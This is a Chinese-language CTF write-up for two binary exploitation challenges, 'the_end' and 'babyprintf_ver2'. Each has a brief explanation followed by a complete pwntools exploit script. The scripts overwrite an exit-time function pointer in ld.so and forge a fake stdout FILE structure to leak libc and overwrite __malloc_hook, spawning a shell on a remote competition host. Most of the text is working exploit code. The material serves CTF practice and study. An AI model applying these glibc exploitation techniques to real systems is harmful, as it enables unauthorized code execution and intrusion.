the_end
程序自身的功能很简单:
- 提供libc地址(2.23)
- 关闭stdout和stderr
- 5次对所给地址修改1字节的机会
在进行5次修改后,程序调用了exit()函数。一开始的思路是对libc中的FILE结构体进行修改,从而将程序劫持到one_gadget处,但是比赛时想到的方法大概需要10字节左右的修改,放弃。
接着就开始对exit()函数进行研究,在gdb里对exit()函数一步一步地进行跟踪,发现两个能利用的点:
- 0x00 CTF 2017 left 的解题思路,但是无法获得随机数,放弃。
- 在_dl_fini函数中,会执行call   QWORD PTR [rip+0x216414] #<_rtld_global+3848>,该位置位于ld.so当中,是能够修改的位置。
因此在第二个点的基础上继续研究。通过vmmap可以得知ld.so的这个位置到libc.so.6的基地址的偏移是固定的,虽然他们中间的空间不是连续的(后续再具体研究一下为什么Orz,这题中没问题就对啦)。将该位置的数据修改为one_gadget即可。
另一个需要解决的问题是程序关闭了stdout,所以拿到shell后无法看到服务器的返回。通过exec /bin/sh 1>&0即可对输出流进行重定向,能正常与shell交互。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 
 | from pwn import *
 
 def pwn():
 BIN_PATH = './the_end'
 DEBUG = 1
 local = 1
 if DEBUG == 1:
 if local == 1:
 p = process(BIN_PATH)
 else:
 p = process(BIN_PATH, env={'LD_PRELOAD': './libc.so.6'})
 elf = ELF(BIN_PATH)
 context.log_level = 'debug'
 context.terminal = ['tmux', 'split', '-h']
 if context.arch == 'amd64':
 if local == 1:
 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
 else:
 libc = ELF('./libc.so.6')
 else:
 libc = ELF('/lib/i386-linux-gnu/libc.so.6')
 else:
 p = remote('150.109.44.250', 20002)
 p.recvuntil('Input your token:')
 p.sendline('8RMQq9PuDRurd91OVhADpDDK30eqjAqz')
 elf = ELF(BIN_PATH)
 libc = ELF('./libc.so.6')
 context.log_level = 'debug'
 
 if DEBUG == 1:
 gdb.attach(p, gdbscript='b *0x0000555555554964')
 
 p.recvuntil('here is a gift ')
 recv = p.recvuntil(',', drop=True)
 libc.address = int(recv, 16) - libc.symbols['sleep']
 print hex(libc.address)
 one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
 p.recvuntil('luck ;)\n')
 p.send(p64(libc.address + (0x7ffff7ffdf48 - 0x00007ffff7a0d000)))
 p.send(p64(libc.address + one_gadget[2])[0])
 p.send(p64(libc.address + (0x7ffff7ffdf48 - 0x00007ffff7a0d000) + 1))
 p.send(p64(libc.address + one_gadget[2])[1])
 p.send(p64(libc.address + (0x7ffff7ffdf48 - 0x00007ffff7a0d000) + 2))
 p.send(p64(libc.address + one_gadget[2])[2])
 p.send(p64(libc.address + (0x7ffff7ffdf48 - 0x00007ffff7a0d000) + 3))
 p.send(p64(libc.address + one_gadget[2])[3])
 p.send(p64(libc.address + (0x7ffff7ffdf48 - 0x00007ffff7a0d000) + 4))
 p.send(p64(libc.address + one_gadget[2])[4])
 
 p.interactive()
 p.close()
 
 
 if __name__ == '__main__':
 pwn()
 
 | 
babyprintf_ver2
程序本身实现了类似于格式化字符串漏洞的功能,但调用的是printf_chk()函数。用于保存用户输入的字符串的全局变量存在溢出,能够覆盖stdout指针,程序提供了.bss的地址。
因此,通过溢出将stdout指针指回.bss上,并在指向的地方构造虚假的stdout结构体,由于存在着vtable的检查,因此vtable处的值会被程序自己填入。通过构造缓冲区的指针为.bss上的地址,能够将这个vtable的值泄漏出来,从而获得libc的基地址。
同样地,通过构造缓冲区的指针,能够进行任意地址写的操作,将__malloc_hook处修改为one_gadget的地址。通过触发printf_chk()函数的报错进而触发malloc()拿到shell。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 
 | from pwn import *
 
 def pwn():
 BIN_PATH = './babyprintf_ver2'
 DEBUG = 0
 context.arch = 'amd64'
 if DEBUG == 1:
 p = process(BIN_PATH)
 elf = ELF(BIN_PATH)
 context.log_level = 'debug'
 context.terminal = ['tmux', 'split', '-h']
 if context.arch == 'amd64':
 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
 else:
 libc = ELF('/lib/i386-linux-gnu/libc.so.6')
 else:
 p = remote('150.109.44.250', 20005)
 elf = ELF(BIN_PATH)
 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
 p.recvuntil('Input your token:')
 p.sendline('8RMQq9PuDRurd91OVhADpDDK30eqjAqz')
 context.log_level = 'debug'
 
 
 p.recvuntil('buffer location to')
 recv = p.recvuntil('\n', drop=True)
 bss_address = int(recv, 16)
 p.recvuntil('Have fun!\n')
 payload = 'a' * 16 + p64(bss_address + 0x20) + p64(0) + p64(0x00000000fbad2884) + p64(bss_address + 0xf8) * 3
 payload += p64(bss_address + 0xf8) + p64(bss_address + 0x100) + p64(bss_address + 0x11d)
 payload += p64(bss_address + 0xf8) + p64(bss_address + 0x11d) + p64(0) * 5 + p64(1) + p64(0xffffffffffffffff) + p64(0x0000000000000000)
 payload += p64(bss_address + 0x130) + p64(0xffffffffffffffff) + p64(0) * 5 + p64(0x00000000ffffffff)
 
 p.sendline(payload)
 p.recvuntil('permitted!\n')
 p.sendline('a' * 8)
 recv = p.recv(8)
 libc.address = u64(recv) - (0x7ffff7dcc2a0 - 0x7ffff79e4000)
 print hex(libc.address)
 
 payload = 'a' * 16 + p64(bss_address + 0x20) + p64(0) + p64(0x00000000fbad2884)
 payload += p64(bss_address + 0x200) * 7
 payload += p64(bss_address + 0x200) + p64(0) * 5 + p64(1) + p64(0xffffffffffffffff) + p64(0x0000000000000000)
 payload += p64(bss_address + 0x130) + p64(0xffffffffffffffff) + p64(0) * 5 + p64(0x00000000ffffffff)
 
 p.sendline(payload)
 
 malloc_hook_addr = libc.symbols['__malloc_hook']
 
 payload = 'a' * 16 + p64(bss_address + 0x20) + p64(0) + p64(0x00000000fbad2884)
 payload += p64(bss_address + 0x200) * 6
 payload += p64(malloc_hook_addr) + p64(malloc_hook_addr + 0x8 + 4) + p64(0) * 5 + p64(1) + p64(0xffffffffffffffff) + p64(0x0000000000000000)
 payload += p64(bss_address + 0x130) + p64(0xffffffffffffffff) + p64(0) * 5 + p64(0x00000000ffffffff)
 p.sendline(payload)
 
 p.sendline(p64(libc.address + 0x10a38c))
 
 payload = 'a' * 16 + p64(bss_address + 0x20) + p64(0) + p64(0x00000000fbad2884)
 payload += p64(bss_address + 0x200) * 7
 payload += p64(bss_address + 0x200) + p64(0) * 5 + p64(1) + p64(0xffffffffffffffff) + p64(0x0000000000000000)
 payload += p64(bss_address + 0x130) + p64(0xffffffffffffffff) + p64(0) * 5 + p64(0x00000000ffffffff)
 p.sendline(payload)
 sleep(0.5)
 p.sendline('%49$p')
 
 p.interactive()
 p.close()
 
 
 if __name__ == '__main__':
 pwn()
 
 |